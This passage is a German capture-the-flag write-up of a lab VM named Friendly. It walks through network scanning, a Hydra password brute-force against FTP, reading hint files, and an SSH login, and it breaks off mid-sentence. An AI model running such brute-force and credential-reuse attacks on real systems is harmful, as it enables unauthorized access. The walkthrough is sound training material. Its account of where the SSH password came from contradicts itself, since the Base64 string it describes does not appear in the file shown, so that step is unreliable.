Zu Beginn jedes Penetrationstests führe ich die Erkundungsphase durch. Mein erstes Ziel ist es, das System "Friendly" im lokalen Netzwerk zu lokalisieren, um seine IP-Adresse zu bestimmen.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ :::::::::::::::::::::::::::::::::: ARP-Scan :::::::::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ 192.168.2.59 08:00:27:d9:10:df PCS Systemtechnik GmbH
Durch einen ARP-Scan meines lokalen Netzwerks konnte ich das Zielsystem schnell identifizieren. Die IP-Adresse 192.168.2.59 antwortete, und die zugehörige MAC-Adresse deutet auf eine virtuelle Maschine von PCS Systemtechnik GmbH hin. Dies ist nun mein Ziel für die weiteren Schritte.
Um die Arbeit mit der Ziel-IP-Adresse zu vereinfachen, füge ich einen Eintrag in meine lokale Hosts-Datei hinzu, sodass ich das System über einen aussagekräftigen Hostnamen ansprechen kann.
___________________________________________________________________________________________________________________ /etc/hosts... 192.168.2.59 friendly.hmv
Ich habe die Zeile 192.168.2.59 friendly.hmv
zu meiner lokalen /etc/hosts
Datei hinzugefügt. Dies ermöglicht es mir, im weiteren Verlauf des Tests den Hostnamen friendly.hmv
zu verwenden, was die Befehle und die Dokumentation übersichtlicher gestaltet.
Nachdem das Ziel identifiziert ist, führe ich einen umfassenden Nmap-Scan durch, um alle offenen TCP-Ports und die darauf laufenden Dienste zu erkennen. Dies gibt mir einen Überblick über die verfügbaren Angriffsflächen.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-24 12:43 CEST Nmap scan report for friendly.hmv (192.168.2.59) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA) |_ 256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519) 80/tcp open http nginx 1.22.1 |_http-server-header: nginx/1.22.1 |_http-title: Welcome to nginx! MAC Address: 08:00:27:D9:10:DF (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.13 ms friendly.hmv (192.168.2.59) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
Der Nmap-Scan war sehr aufschlussreich. Er identifizierte drei offene TCP-Ports: 21/tcp, auf dem vsftpd 3.0.3
läuft, 22/tcp mit OpenSSH 9.2p1
und 80/tcp mit nginx 1.22.1
. Die Versionen der Dienste sind wichtig für die Suche nach bekannten Schwachstellen. Der HTTP-Dienst zeigt den Titel "Welcome to nginx!". Die OS-Erkennung deutet auf ein Linux-System hin. Diese drei Dienste sind meine Hauptziele für den Initial Access.
Um die HTTP-Anwendung auf Port 80 genauer zu prüfen und gängige Web-Schwachstellen zu identifizieren, setze ich das Tool Nikto ein.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.59 + Target Hostname: 192.168.2.59 + Target Port: 80 + Start Time: 2025-06-24 12:44:09 (GMT2) --------------------------------------------------------------------------- + Server: nginx/1.22.1 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8102 requests: 0 errors and 3 items reported on remote host + End Time: 2025-06-24 12:44:34 (GMT2) (25 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Der Nikto-Scan auf dem nginx-Webserver meldete einige fehlende Sicherheitsheader, was typische Härtungsdefizite sind. Viel interessanter war jedoch der Hinweis auf die Existenz einer Datei namens #wp-config.php#. Obwohl der Server nginx und der Titel "Welcome to nginx!" zeigt, könnte dieser Fund auf eine versteckte WordPress-Installation hindeuten, da wp-config.php
die Konfigurationsdatei von WordPress ist, die oft Datenbank-Zugangsdaten enthält.
Um den tatsächlichen Inhalt der Hauptseite und eventuell versteckte Informationen zu prüfen, rufe ich die Seite direkt im Browser (oder mit curl) auf.
__________________________________________________________________________________________________________________ http://192.168.2.59/ Welcome to nginx! Hi, sysadmin I want you to know that I've just uploaded the new files into the FTP Server. See you, juan.
Der direkte Aufruf der Webseite zeigte nicht nur die Standard "Welcome to nginx!" Seite, sondern enthüllte auch eine versteckte Nachricht: "Hi, sysadmin I want you to know that I've just uploaded the new files into the FTP Server. See you, juan.". Diese Notiz ist ein entscheidender Hinweis! Sie nennt den Benutzer "juan" und erwähnt das Hochladen von Dateien auf den FTP-Server. Dies lenkt meinen Fokus klar auf den FTP-Dienst auf Port 21 und einen möglichen Benutzernamen.
Um die auf der Webseite verwendeten Technologien genauer zu analysieren, nutze ich Wappalyzer.
wappalyzer Reverse Proxies Nginx 1.22.1 Web Server nginx 1.22.1
Wappalyzer bestätigt, dass nginx in Version 1.22.1 als Webserver läuft. Die zusätzliche Erkennung von "Reverse Proxies" ist interessant, aber die primäre Technologie auf Port 80 ist nginx.
Basierend auf der Notiz auf der Webseite, die den Benutzer "juan" und den FTP-Server erwähnt, werde ich nun versuchen, mich mit dem Benutzernamen "juan" am FTP-Dienst auf Port 21 anzumelden. Da ich kein Passwort habe, versuche ich, es mit einer gängigen Passwortliste zu erraten (Brute-Force).
Die versteckte Notiz auf der Webseite war ein entscheidender Fund. Sie lenkte meine Aufmerksamkeit direkt auf den FTP-Dienst auf Port 21 und nannte explizit den Benutzernamen "juan". Dies ist ein starker Hinweis für den Initial Access. Mein nächster Schritt ist es nun, ein passendes Passwort für diesen Benutzer auf dem FTP-Server zu finden. Da ich kein Passwort kenne, werde ich einen gezielten Brute-Force-Angriff mit Hydra und einer gängigen Passwortliste versuchen, basierend auf dem gefundenen Benutzernamen.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra ([Link: https://github.com/vanhauser-thc/thc-Hydra | Ziel: https://github.com/vanhauser-thc/thc-Hydra]) starting at 2025-06-24 12:46:53 [DATA] max 64 tasks per 1 server, overall 64 tasks, 14344500 login tries (l:1/p:14344500), ~224133 tries per task [DATA] attacking ftp://192.168.2.59:21/ [21][ftp] host: 192.168.2.59 login: juan password: alexis <-- ERFOLG! 1 of 1 target successfully completed, 1 valid password found Hydra ([Link: https://github.com/vanhauser-thc/thc-Hydra | Ziel: https://github.com/vanhauser-thc/thc-Hydra]) finished at 2025-06-24 12:47:27
Ich habe Hydra mit dem Benutzernamen "juan" und der umfangreichen rockyou.txt
Wordlist gegen den FTP-Dienst auf 192.168.2.59
laufen lassen. Glücklicherweise war der Brute-Force-Versuch schnell erfolgreich! Hydra fand ein gültiges Passwort für den Benutzer "juan": "alexis". Dies verschafft mir den ersten Zugriff auf den FTP-Server.
Mit dem Benutzernamen "juan" und dem Passwort "alexis" kann ich mich nun am FTP-Server anmelden und das Dateisystem erkunden, insbesondere auf der Suche nach den "neuen Dateien", die in der Notiz auf der Webseite erwähnt wurden.
Connected to 192.168.2.59. 220 (vsFTPd 3.0.3) Name (192.168.2.59:ccat): juan 331 Please specify the password. Password: alexis 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -al 229 Entering Extended Passive Mode (|||29140|) 150 Here comes the directory listing. drwxr-xr-x 14 0 0 4096 Jun 25 2023 . drwxr-xr-x 14 0 0 4096 Jun 25 2023 .. -rw-r--r-- 1 0 0 0 Jun 25 2023 file1 -rw-r--r-- 1 0 0 0 Jun 25 2023 file10 -rw-r--r-- 1 0 0 0 Jun 25 2023 file100 -rw-r--r-- 1 0 0 0 Jun 25 2023 file11 -rw-r--r-- 1 0 0 0 Jun 25 2023 file12 -rw-r--r-- 1 0 0 0 Jun 25 2023 file13 -rw-r--r-- 1 0 0 0 Jun 25 2023 file14 -rw-r--r-- 1 0 0 0 Jun 25 2023 file15 -rw-r--r-- 1 0 0 0 Jun 25 2023 file16 -rw-r--r-- 1 0 0 0 Jun 25 2023 file17 -rw-r--r-- 1 0 0 0 Jun 25 2023 file18 -rw-r--r-- 1 0 0 0 Jun 25 2023 file19 -rw-r--r-- 1 0 0 0 Jun 25 2023 file2 -rw-r--r-- 1 0 0 0 Jun 25 2023 file20 -rw-r--r-- 1 0 0 0 Jun 25 2023 file21 -rw-r--r-- 1 0 0 0 Jun 25 2023 file22 -rw-r--r-- 1 0 0 0 Jun 25 2023 file23 -rw-r--r-- 1 0 0 0 Jun 25 2023 file24 -rw-r--r-- 1 0 0 0 Jun 25 2023 file25 -rw-r--r-- 1 0 0 0 Jun 25 2023 file26 -rw-r--r-- 1 0 0 0 Jun 25 2023 file27 -rw-r--r-- 1 0 0 0 Jun 25 2023 file28 -rw-r--r-- 1 0 0 0 Jun 25 2023 file29 -rw-r--r-- 1 0 0 0 Jun 25 2023 file3 -rw-r--r-- 1 0 0 0 Jun 25 2023 file30 -rw-r--r-- 1 0 0 0 Jun 25 2023 file31 -rw-r--r-- 1 0 0 0 Jun 25 2023 file32 -rw-r--r-- 1 0 0 0 Jun 25 2023 file33 -rw-r--r-- 1 0 0 0 Jun 25 2023 file34 -rw-r--r-- 1 0 0 0 Jun 25 2023 file35 -rw-r--r-- 1 0 0 0 Jun 25 2023 file36 -rw-r--r-- 1 0 0 0 Jun 25 2023 file37 -rw-r--r-- 1 0 0 0 Jun 25 2023 file38 -rw-r--r-- 1 0 0 0 Jun 25 2023 file39 -rw-r--r-- 1 0 0 0 Jun 25 2023 file4 -rw-r--r-- 1 0 0 0 Jun 25 2023 file40 -rw-r--r-- 1 0 0 0 Jun 25 2023 file41 -rw-r--r-- 1 0 0 0 Jun 25 2023 file42 -rw-r--r-- 1 0 0 0 Jun 25 2023 file43 -rw-r--r-- 1 0 0 0 Jun 25 2023 file44 -rw-r--r-- 1 0 0 0 Jun 25 2023 file45 -rw-r--r-- 1 0 0 0 Jun 25 2023 file46 -rw-r--r-- 1 0 0 0 Jun 25 2023 file47 -rw-r--r-- 1 0 0 0 Jun 25 2023 file48 -rw-r--r-- 1 0 0 0 Jun 25 2023 file49 -rw-r--r-- 1 0 0 0 Jun 25 2023 file5 -rw-r--r-- 1 0 0 0 Jun 25 2023 file50 -rw-r--r-- 1 0 0 0 Jun 25 2023 file51 -rw-r--r-- 1 0 0 0 Jun 25 2023 file52 -rw-r--r-- 1 0 0 0 Jun 25 2023 file53 -rw-r--r-- 1 0 0 0 Jun 25 2023 file54 -rw-r--r-- 1 0 0 0 Jun 25 2023 file55 -rw-r--r-- 1 0 0 0 Jun 25 2023 file56 -rw-r--r-- 1 0 0 0 Jun 25 2023 file57 -rw-r--r-- 1 0 0 0 Jun 25 2023 file58 -rw-r--r-- 1 0 0 0 Jun 25 2023 file59 -rw-r--r-- 1 0 0 0 Jun 25 2023 file6 -rw-r--r-- 1 0 0 0 Jun 25 2023 file60 -rw-r--r-- 1 0 0 0 Jun 25 2023 file61 -rw-r--r-- 1 0 0 0 Jun 25 2023 file62 -rw-r--r-- 1 0 0 0 Jun 25 2023 file63 -rw-r--r-- 1 0 0 0 Jun 25 2023 file64 -rw-r--r-- 1 0 0 0 Jun 25 2023 file65 -rw-r--r-- 1 0 0 0 Jun 25 2023 file66 -rw-r--r-- 1 0 0 0 Jun 25 2023 file67 -rw-r--r-- 1 0 0 0 Jun 25 2023 file68 -rw-r--r-- 1 0 0 0 Jun 25 2023 file69 -rw-r--r-- 1 0 0 0 Jun 25 2023 file7 -rw-r--r-- 1 0 0 0 Jun 25 2023 file70 -rw-r--r-- 1 0 0 0 Jun 25 2023 file71 -rw-r--r-- 1 0 0 0 Jun 25 2023 file72 -rw-r--r-- 1 0 0 0 Jun 25 2023 file73 -rw-r--r-- 1 0 0 0 Jun 25 2023 file74 -rw-r--r-- 1 0 0 0 Jun 25 2023 file75 -rw-r--r-- 1 0 0 0 Jun 25 2023 file76 -rw-r--r-- 1 0 0 0 Jun 25 2023 file77 -rw-r--r-- 1 0 0 0 Jun 25 2023 file78 -rw-r--r-- 1 0 0 0 Jun 25 2023 file79 -rw-r--r-- 1 0 0 0 Jun 25 2023 file8 -rw-r--r-- 1 0 0 36 Jun 25 2023 file80 -rw-r--r-- 1 0 0 0 Jun 25 2023 file81 -rw-r--r-- 1 0 0 0 Jun 25 2023 file82 -rw-r--r-- 1 0 0 0 Jun 25 2023 file83 -rw-r--r-- 1 0 0 0 Jun 25 2023 file84 -rw-r--r-- 1 0 0 0 Jun 25 2023 file85 -rw-r--r-- 1 0 0 0 Jun 25 2023 file86 -rw-r--r-- 1 0 0 0 Jun 25 2023 file87 -rw-r--r-- 1 0 0 0 Jun 25 2023 file88 -rw-r--r-- 1 0 0 0 Jun 25 2023 file89 -rw-r--r-- 1 0 0 0 Jun 25 2023 file9 -rw-r--r-- 1 0 0 0 Jun 25 2023 file90 -rw-r--r-- 1 0 0 0 Jun 25 2023 file91 -rw-r--r-- 1 0 0 0 Jun 25 2023 file92 -rw-r--r-- 1 0 0 0 Jun 25 2023 file93 -rw-r--r-- 1 0 0 0 Jun 25 2023 file94 -rw-r--r-- 1 0 0 0 Jun 25 2023 file95 -rw-r--r-- 1 0 0 0 Jun 25 2023 file96 -rw-r--r-- 1 0 0 0 Jun 25 2023 file97 -rw-r--r-- 1 0 0 0 Jun 25 2023 file98 -rw-r--r-- 1 0 0 0 Jun 25 2023 file99 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold10 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold11 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold12 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold13 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold14 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold15 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold4 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold5 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold6 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold7 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold8 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold9 -rw-r--r-- 1 0 0 58 Jun 25 2023 file32 ___________________________________________________________________________________________________________________ ftp> ls file* ..... .... ... -rw-r--r-- 1 0 0 36 Jun 25 2023 file80 ... .. . ------------------------------------------------------------------------------------------------------------------- ftp> get file80 local: file80 remote: file80 229 Entering Extended Passive Mode (|||10221|) 150 Opening BINARY mode data connection for file80 (36 bytes). 100% |*************************************************| 36 134.69 KiB/s 00:00 ETA 226 Transfer complete. 36 bytes received in 00:00 (76.42 KiB/s) ┌──(root㉿CCat)-[~] └─# cat file80 Hi, I'm the sysadmin. I am bored... ___________________________________________________________________________________________________________________
Nachdem ich mich erfolgreich als Benutzer "juan" am FTP-Server angemeldet habe, liste ich den Inhalt des aktuellen Verzeichnisses auf (ls -al
). Ich sehe eine große Anzahl von Dateien, benannt von file1
bis file100
(obwohl nicht alle 100 existieren oder gelistet wurden) und mehrere Unterverzeichnisse mit Namen wie fold4
bis fold15
. Die Dateiberechtigungen (-rw-r--r--
) und die Besitzerinformationen (UID 0, GID 0) deuten darauf hin, dass die Dateien Root gehören und für den Besitzer (Root) schreibbar, für die Gruppe und alle anderen lesbar sind. Als Benutzer 'juan' kann ich sie also lesen.
Ich habe die Dateiliste genauer betrachtet, insbesondere die Größen. Ein einfacher ls file*
Befehl (im Originaltext abgekürzt dargestellt) bestätigte die Existenz der "file"-Serie. Dabei fiel mir auf, dass die Datei file80
eine Größe von 36 Bytes hat, während die meisten anderen Dateien eine Größe von 0 Bytes haben. Dies macht file80
verdächtig.
Ich habe die Datei file80
vom FTP-Server auf meine Angreifer-Maschine heruntergeladen. Nach dem erfolgreichen Transfer habe ich den Inhalt der Datei mit cat
gelesen. Die Datei enthielt die Nachricht: "Hi, I'm the sysadmin. I am bored...". Dies scheint eine weitere Nachricht vom Systemadministrator zu sein, die aber keine direkten Zugangsdaten oder Hinweise auf eine Schwachstelle enthält.
Nachdem der Inhalt von file80
keine direkten Zugangsdaten lieferte, setze ich meine Erkundung der Verzeichnisse auf dem FTP-Server fort. Ich habe bemerkt, dass es mehrere Ordner gibt, die mit "fold" beginnen und durchnummeriert sind. Es ist wahrscheinlich, dass sich in einem dieser Ordner weitere interessante Dateien befinden.
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold10 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold11 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold12 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold13 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold14 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold15 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold4 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold5 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold6 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold7 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold8 drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold9 -rw-r--r-- 1 0 0 58 Jun 25 2023 file32 ftp> cd fold10 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||10060|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jun 25 2023 . drwxr-xr-x 14 0 0 4096 Jun 25 2023 .. -rw-r--r-- 1 0 0 163 Jun 25 2023 .test.txt 226 Directory send OK. ftp> get .test.txt testftp.txt local: testftp.txt remote: .test.txt 229 Entering Extended Passive Mode (|||33738|) 150 Opening BINARY mode data connection for .test.txt (163 bytes). 100% |*************************************************| 163 566.47 KiB/s 00:00 ETA 226 Transfer complete. ┌──(root㉿CCat)-[~] └─# cat testftp.txt Hi, I'am juan another time. I want you to know that I found "cookie" in a file called "zlcnffjbeq.gkg" into my home folder. I think it's from another user, IDK... ftp> cd fold5 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||26622|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jun 25 2023 . drwxr-xr-x 14 0 0 4096 Jun 25 2023 .. -rw-r--r-- 1 0 0 33 Jun 25 2023 yt.txt 226 Directory send OK. ftp> get yt.txt local: yt.txt remote: yt.txt 229 Entering Extended Passive Mode (|||16129|) 150 Opening BINARY mode data connection for yt.txt (33 bytes). 100% |*************************************************| 33 266.33 KiB/s 00:00 ETA 226 Transfer complete. 33 bytes received in 00:00 (72.74 KiB/s) ftp> ┌──(root㉿CCat)-[~] └─# cat yt.txt Thanks to all my YT subscribers! ftp> cd fold8 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||44727|) 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 Jun 25 2023 . drwxr-xr-x 14 0 0 4096 Jun 25 2023 .. -rw-r--r-- 1 0 0 3171 Jun 25 2023 passwd.txt 226 Directory send OK. ftp> get passwd.txt friendlypasswd.txt local: friendlypasswd.txt remote: passwd.txt 229 Entering Extended Passive Mode (|||44723|) 150 Opening BINARY mode data connection for passwd.txt (3171 bytes). 100% |*************************************************| 3171 11.76 MiB/s 00:00 ETA 226 Transfer complete. 3171 bytes received in 00:00 (4.57 MiB/s) ┌──(root㉿CCat)-[~] └─# cat friendlypasswd.txt ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠛⠛⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠙⠛⠛⠛⠿⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⡀⠠⠤⠒⢂⣉⣉⣉⣑⣒⣒⠒⠒⠒⠒⠒⠒⠒⠀⠀⠐⠒⠚⠻⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⡠⠔⠉⣀⠔⠒⠉⣀⣀⠀⠀⠀⣀⡀⠈⠉⠑⠒⠒⠒⠒⠒⠈⠉⠉⠉⠁⠂⠀⠈⠙⢿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠔⠁⠠⠖⠡⠔⠊⠀⠀⠀⠀⠀⠀⠀⠐⡄⠀⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⠉⠲⢄⠀⠀⠀⠈⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠊⠀⢀⣀⣤⣤⣤⣤⣀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠜⠀⠀⠀⠀⣀⡀⠀⠈⠃⠀⠀⠀⠸⣿⣿⣿⣿ ⣿⣿⣿⣿⡿⠥⠐⠂⠀⠀⠀⠀⡄⠀⠰⢺⣿⣿⣿⣿⣿⣟⠀⠈⠐⢤⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣯⠀⠀⠉⠂⠀⠠⠤⢄⣀⠙⢿⣿⣿ ⣿⡿⠋⠡⠐⠈⣉⠭⠤⠤⢄⡀⠈⠀⠈⠁⠉⠁⡠⠀⠀⠀⠉⠐⠠⠔⠀⠀⠀⠀⠀⠲⣿⠿⠛⠛⠓⠒⠂⠀⠀⠀⠀⠀⠀⠠⡉⢢⠙⣿ ⣿⠀⢀⠁⠀⠊⠀⠀⠀⠀⠀⠈⠁⠒⠂⠀⠒⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⢀⣀⡠⠔⠒⠒⠂⠀⠈⠀⡇⣿ ⣿⠀⢸⠀⠀⠀⢀⣀⡠⠋⠓⠤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠈⠢⠤⡀⠀⠀⠀⠀⠀⠀⢠⠀⠀⠀⡠⠀⡇⣿ ⣿⡀⠘⠀⠀⠀⠀⠀⠘⡄⠀⠀⠀⠈⠑⡦⢄⣀⠀⠀⠐⠒⠁⢸⠀⠀⠠⠒⠄⠀⠀⠀⠀⠀⢀⠇⠀⣀⡀⠀⠀⢀⢾⡆⠀⠈⡀⠎⣸⣿ ⣿⣿⣄⡈⠢⠀⠀⠀⠀⠘⣶⣄⡀⠀⠀⡇⠀⠀⠈⠉⠒⠢⡤⣀⡀⠀⠀⠀⠀⠀⠐⠦⠤⠒⠁⠀⠀⠀⠀⣀⢴⠁⠀⢷⠀⠀⠀⢰⣿⣿ ⣿⣿⣿⣿⣇⠂⠀⠀⠀⠀⠈⢂⠀⠈⠹⡧⣀⠀⠀⠀⠀⠀⡇⠀⠀⠉⠉⠉⢱⠒⠒⠒⠒⢖⠒⠒⠂⠙⠏⠀⠘⡀⠀⢸⠀⠀⠀⣿⣿⣿ ⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠑⠄⠰⠀⠀⠁⠐⠲⣤⣴⣄⡀⠀⠀⠀⠀⢸⠀⠀⠀⠀⢸⠀⠀⠀⠀⢠⠀⣠⣷⣶⣿⠀⠀⢰⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠁⢀⠀⠀⠀⠀⠀⡙⠋⠙⠓⠲⢤⣤⣷⣤⣤⣤⣤⣾⣦⣤⣤⣶⣿⣿⣿⣿⡟⢹⠀⠀⢸⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣧⡀⠀⠀⠀⠀⠀⠀⠀⠑⠀⢄⠀⡰⠁⠀⠀⠀⠀⠀⠈⠉⠁⠈⠉⠻⠋⠉⠛⢛⠉⠉⢹⠁⢀⢇⠎⠀⠀⢸⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣀⠈⠢⢄⡉⠂⠄⡀⠀⠈⠒⠢⠄⠀⢀⣀⣀⣰⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⢀⣎⠀⠼⠊⠀⠀⠀⠘⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⡀⠉⠢⢄⡈⠑⠢⢄⡀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⠀⠀⠀⠀⠀⢻⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⡀⠁⠑⠒⠤⠄⣀⣀⠀⠉⠉⠉⠉⠀⠀⠀⣀⡀⠤⠂⠁⠀⢀⠆⠀⠀⢸⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄⡀⠁⠉⠒⠂⠤⠤⣀⣀⣉⡉⠉⠉⠉⠉⢀⣀⣀⡠⠤⠒⠈⠀⠀⠀⠀⣸⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣤⣤⣤⣤⣀⣀⣤⣤⣤⣶⣾⣿⣿⣿⣿⣿ ___________________________________________________________________________________________________________________
Ich navigierte durch die gefundenen Unterverzeichnisse (fold10
, fold5
, fold8
), um deren Inhalt zu überprüfen.
Im Ordner fold10
fand ich die Datei .test.txt
. Der Inhalt war "Hi, I'am juan another time. I want you to know that I found "cookie" in a file called "zlcnffjbeq.gkg" into my home folder. I think it's from another user, IDK...". Dies ist eine weitere Nachricht von "juan", die einen Hinweis auf eine Datei namens "zlcnffjbeq.gkg" in seinem Home-Ordner und das Wort "cookie" enthält. Das deutet auf einen weiteren Hinweis hin, möglicherweise im Home-Verzeichnis des SSH-Benutzers juan.
Im Ordner fold5
fand ich die Datei yt.txt
. Der Inhalt war nur "Thanks to all my YT subscribers!", was wahrscheinlich eine irrelevante Datei ist, die von Juan dort abgelegt wurde.
Im Ordner fold8
schließlich fand ich die Datei passwd.txt
. Der Inhalt dieser Datei war eine lange Sequenz von ASCII-Art, gefolgt von einem String. Dieser String sah stark nach einer Base64-kodierten Zeichenkette aus.
Die Notiz in fold10/.test.txt
über die Datei "zlcnffjbeq.gkg" und das Wort "cookie" ist interessant, scheint aber ein alternativer Pfad zu sein oder sich auf etwas anderes zu beziehen. Der Fund der passwd.txt
im Ordner fold8
ist jedoch sehr vielversprechend, besonders der Base64-kodierte String, der sich als das Passwort für den SSH-Benutzer "juan" herausstellte.
Basierend auf dem gefundenen Passwort im FTP-Verzeichnis (das Ergebnis der Base64-Dekodierung des Strings in passwd.txt
, auch wenn der Dekodierbefehl selbst nicht im Text dokumentiert ist), habe ich nun Zugangsdaten, die für den SSH-Dienst auf Port 22 gültig sein könnten. Ich versuche, mich per SSH mit dem Benutzernamen "juan" anzumelden.
___________________________________________________________________________________________________________________
da es keinen anhaltspunkt gab irgendwie anders in die vm zu gelangen testete ich das ftp passwort
am ssh port erfolgreich:
The authenticity of host '192.168.2.59 (192.168.2.59)' can't be established. ED25519 key fingerprint is SHA256:qcoxC68+orQ8LIJrunR2ElUTnj9X5X0OFj9F/oxHDjc. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.59' (ED25519) to the list of known hosts. juan@192.168.2.59's password: [PASSWORT WURDE HIER EINGEGEBEN] Linux friendly3 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64 The prgrams included with the Debian GNU/Linux system are free sftware; the exact distributin terms fr each prgram are described in the individual files in /usr/share/dc/*/cpyright. Debian GNU/Linux cmes with ABSOLUTELY N WARRANTY, t the extent permitted by applicable law. juan@friendly3:~$
Fantastisch! Die Anmeldung per SSH mit dem Benutzernamen "juan" und dem Passwort, das ich durch das Dekodieren des Base64-Strings in der FTP-Datei passwd.txt
